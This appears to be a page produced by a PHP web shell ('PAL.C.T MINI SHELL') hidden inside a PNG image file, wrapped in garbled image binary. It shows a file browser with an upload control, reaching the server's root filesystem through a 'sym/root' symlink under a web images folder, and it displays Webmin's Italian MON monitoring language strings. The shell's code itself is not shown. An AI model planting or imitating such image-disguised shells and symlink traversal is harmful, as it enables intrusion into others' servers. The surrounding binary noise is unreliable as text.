php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/mon/lang/
upload
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/mon/lang/it.auto

index_title=MON Service Monitor
index_return=Indice MON
index_edir=La directory MON $1 non esiste. Forse MON non è installato o la <a href='$2'>configurazione del modulo</a> non è corretta.
mon_global_title=Configurazione globale delle variabili
mon_conf_title=Configurazione di base
mon_status_title=Stato operativo
hostgroups_title=Configurazione MON-Hostgroups
services_title=Definizioni del servizio Watchgroups

head_hostgroups=Hostgroup e servizi
head_groups=Nome gruppo host
head_members=Membri del gruppo host
head_services=Servizi di gruppi di host da guardare
head_service=Servizio da guardare
head_param=Parametri di servizio
head_watch=Guarda il gruppo?
head_monauth=Fornire autenticazione per MONCMD
head_usr=Nome utente
head_pass=Parola d'ordine
head_mand=(I parametri in "COLORE ROSSO" sono obbligatori)

err_nomon=il pacchetto 'mon' non è installato sul sistema
err_nomonconf=Il file di configurazione MON $1 non è stato trovato sul tuo sistema. Forse MON non è installato o la <a href='$2'>configurazione del modulo</a> non è corretta.
err_nowatch=Nessun gruppo di controllo selezionato. Seleziona almeno un Watchgroup per procedere.
err_noserv=Nessun servizio selezionato per il gruppo di controllo
err_nomemb=Nessun host/membro selezionato per il gruppo di controllo
err_monrun=MON non è in esecuzione sulla macchina host. Per favore, avvia MON.
stop_err=Impossibile arrestare MON
stop_epid=Non più in esecuzione
start_err=Impossibile avviare MON
restart_err=Impossibile riavviare MON
restart_epid=Impossibile ottenere il PID

other=Altro (spazio separato)
next=Il prossimo
mon_stat=Stato MON
mon_off=Servizi MON non avviati
mon_start=Avviare i servizi MON
mon_stop=Interrompere i servizi MON
mon_restart=Riavvia i servizi MON
mon_startdesc=Fare clic su questo pulsante per avviare il server MON. Fino all'avvio, non verrà eseguito alcun monitoraggio configurato.
mon_stopdesc=Fare clic su questo pulsante per arrestare il server MON. All'arresto, il monitoraggio configurato cesserà.
mon_restartdesc=Fare clic su questo pulsante per applicare la configurazione MON corrente riavviando il processo del server.
line=(uno su ogni riga)
save_apply=Salva e applica
watch=Watchgroup
members=Membri
def_perargs=wd {sab-dom}

def_desc=descrizione
def_inter=intervallo
def_mon=tenere sotto controllo
def_dep=dpend
def_per=periodo
def_alert=mettere in guardia
def_alertevr=alertevery
def_alertaft=alertafter
def_alertstr=startupalert
def_allow=allow_empty_group
def_traptime=traptimeout
def_trapdur=trapduration
def_rand=randskew
def_exclhost=exclude_hosts
def_exclper=exclude_period

groups_title=Gruppi host
groups_group=Nome del gruppo
groups_members=Host membri

watches_title=Elenchi di orologi
watches_group=Gruppo di controllo
watches_services=Servizi monitorati
watches_sadd=Aggiungi servizio ..
watches_add=Aggiungi lista di controllo per il gruppo :
watches_return=liste di controllo
watches_none=Non sono stati ancora definiti elenchi di controllo.

global_title=Opzioni globali
global_header=Opzioni di configurazione MON globali
global_maxprocs=Processi MON massimi
global_histlength=Lunghezza della cronologia degli eventi
global_alertdir=Directory dei programmi di avviso
global_mondir=Monitorare la directory dei programmi
global_authtype=Tipo di autenticazione
global_authtype_=Predefinito
global_authtype_getpwnam=Chiamate di sistema
global_authtype_userfile=File utenti MON
global_authtype_shadow=File shadow
global_userfile=File dell'utente MON
global_emaxprocs=Numero mancante o non valido di processi MON
global_ehistlength=Lunghezza cronologia eventi mancante o non valida
global_ealertdir=Directory dei programmi di avviso mancante o non valida
global_emondir=Directory dei programmi di monitoraggio mancante o non valida
global_euserfile=File utenti MON mancante

watch_title=Modifica elenco di controllo
watch_header=Dettagli dell'orologio del gruppo host
watch_group=Gruppo host da guardare
watch_services=Servizi monitorati
watch_service=Nome di Servizio
watch_monitor=Monitor da usare
watch_interval=Controlla ogni
watch_periods=Periodi di monitoraggio

service_title=Aggiungi servizio
service_title2=Modifica servizio
service_header=Dettagli di servizio guardati
service_name=Nome del servizio
service_interval=Controlla ogni
service_desc=Descrizione
service_units_s=secondi
service_units_m=minuti
service_units_h=ore
service_units_d=giorni
service_units_w=settimane
service_monitor=Utilizzando il monitor
service_mon1=Monitor standard
service_mon0=Altro monitor ..
service_args=Monitorare i parametri
service_period=Periodo di monitoraggio $1 
service_days=Giorni da controllare
service_hours=Ore da controllare
service_all=Tutti
service_pstr=Specifica del periodo
service_new=Nuovo periodo di monitoraggio
service_alerts=Avvisi per periodo
service_alert=Mettere in guardia
service_atype=Esegui quando
service_atype_alert=Il servizio non funziona
service_atype_upalert=I servizi arrivano
service_atype_startupalert=MON si avvia
service_aargs=Parametri aggiuntivi
service_every=Invia avviso
service_every_def=Ogni volta che viene eseguito il monitoraggio
service_every_time=Ogni
service_num=Numero massimo di avvisi da inviare
service_unlimited=Illimitato
service_after=Errori prima dell'avviso
service_immediate=Subito
service_after_num=Dopo errori $1 
service_aftertime=Entro un intervallo di tempo
service_newperiod=Aggiungi un nuovo periodo
service_delperiod=Elimina questo periodo
service_err=Impossibile salvare il servizio
service_ename=Nome del servizio mancante o non valido
service_einterval=Intervallo di controllo mancante o non valido
service_eother=Monitor mancante o non valido
service_ehour=Ora mancante o non valida per il periodo $1 (deve essere simile alle 9:00 o alle 17:00)
service_eperiod=Nessun giorno o ora specificato per il periodo $1 
service_eevery=Intervallo di avviso di servizio mancante o non valido
service_eafter=Numero mancante o non valido di errori prima dell'avviso
service_enum=Avvisi massimi mancanti o non validi da inviare
service_epstr=Specifica del periodo mancante
service_known0=<tt>Time::Period</tt> stringa
service_known1=Giorni e ore specificati
service_known2=Periodo definito

status_title=Stato MON
status_ecgi=Il programma CGI di stato MON $1 non esiste. Forse non è installato o la <a href='$2'>configurazione del modulo</a> non è corretta.
status_eperl=Il programma CGI di stato MON richiede il modulo $1 perl. <a href='$2'>Fai clic qui</a> per installarlo direttamente da CPAN.
status_esame=Il programma CGI di stato MON $1 è stato impostato sullo script <tt>mon.cgi</tt> in questo modulo Webmin, non sul programma CGI fornito con MON. Modifica la <a href='$2'>configurazione del modulo</a> per utilizzare il percorso corretto.

users_title=Utenti MON
users_etype=L'elenco utenti MON non può essere modificato poiché MON non è attualmente configurato per usarlo per l'autenticazione nella pagina <a href='$1'>Opzioni globali</a>.
users_header=Utenti MON consentiti in $1 
users_nousers=Nessun utente MON è stato definito in $1.
users_add=Crea un nuovo utente.
users_return=Elenco utenti MON

user_create=Crea utente MON
user_edit=Modifica utente MON
user_header=Dettagli utente MON
user_user=Nome utente
user_pass=Parola d'ordine
user_leave=Lascia invariato
user_err=Impossibile salvare l'utente
user_euser=Nome utente mancante o non valido
user_esame=Un utente con lo stesso nome esiste già

auth_title=Comandi del cliente
auth_desc=Questa pagina consente di controllare quali comandi MON possono essere eseguiti da quali utenti quando utilizzano i programmi client.
auth_cmd=Comando MON
auth_users=Utenti ammessi
auth_none=Nessuno
auth_all=Tutti
auth_sel=Solo utenti
auth_err=Impossibile salvare i comandi client
auth_eusers=Nessun utente immette per il comando $1 

periods_title=Periodi definiti
periods_period=Nome del periodo
periods_times=Giorni e orari
periods_alldays=Tutti i giorni
periods_allhours=Tutte le ore
periods_err=Impossibile salvare periodi definiti
periods_ename='$1' non è un nome di periodo valido
periods_ehour=Ora mancante o non valida per il periodo $1 (deve essere simile alle 9:00 o alle 17:00)

show_title=Stato operativo
show_ecgi=Il programma di stato MON $1 non esiste. Forse non è installato o la <a href='$2'>configurazione del modulo</a> non è corretta.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`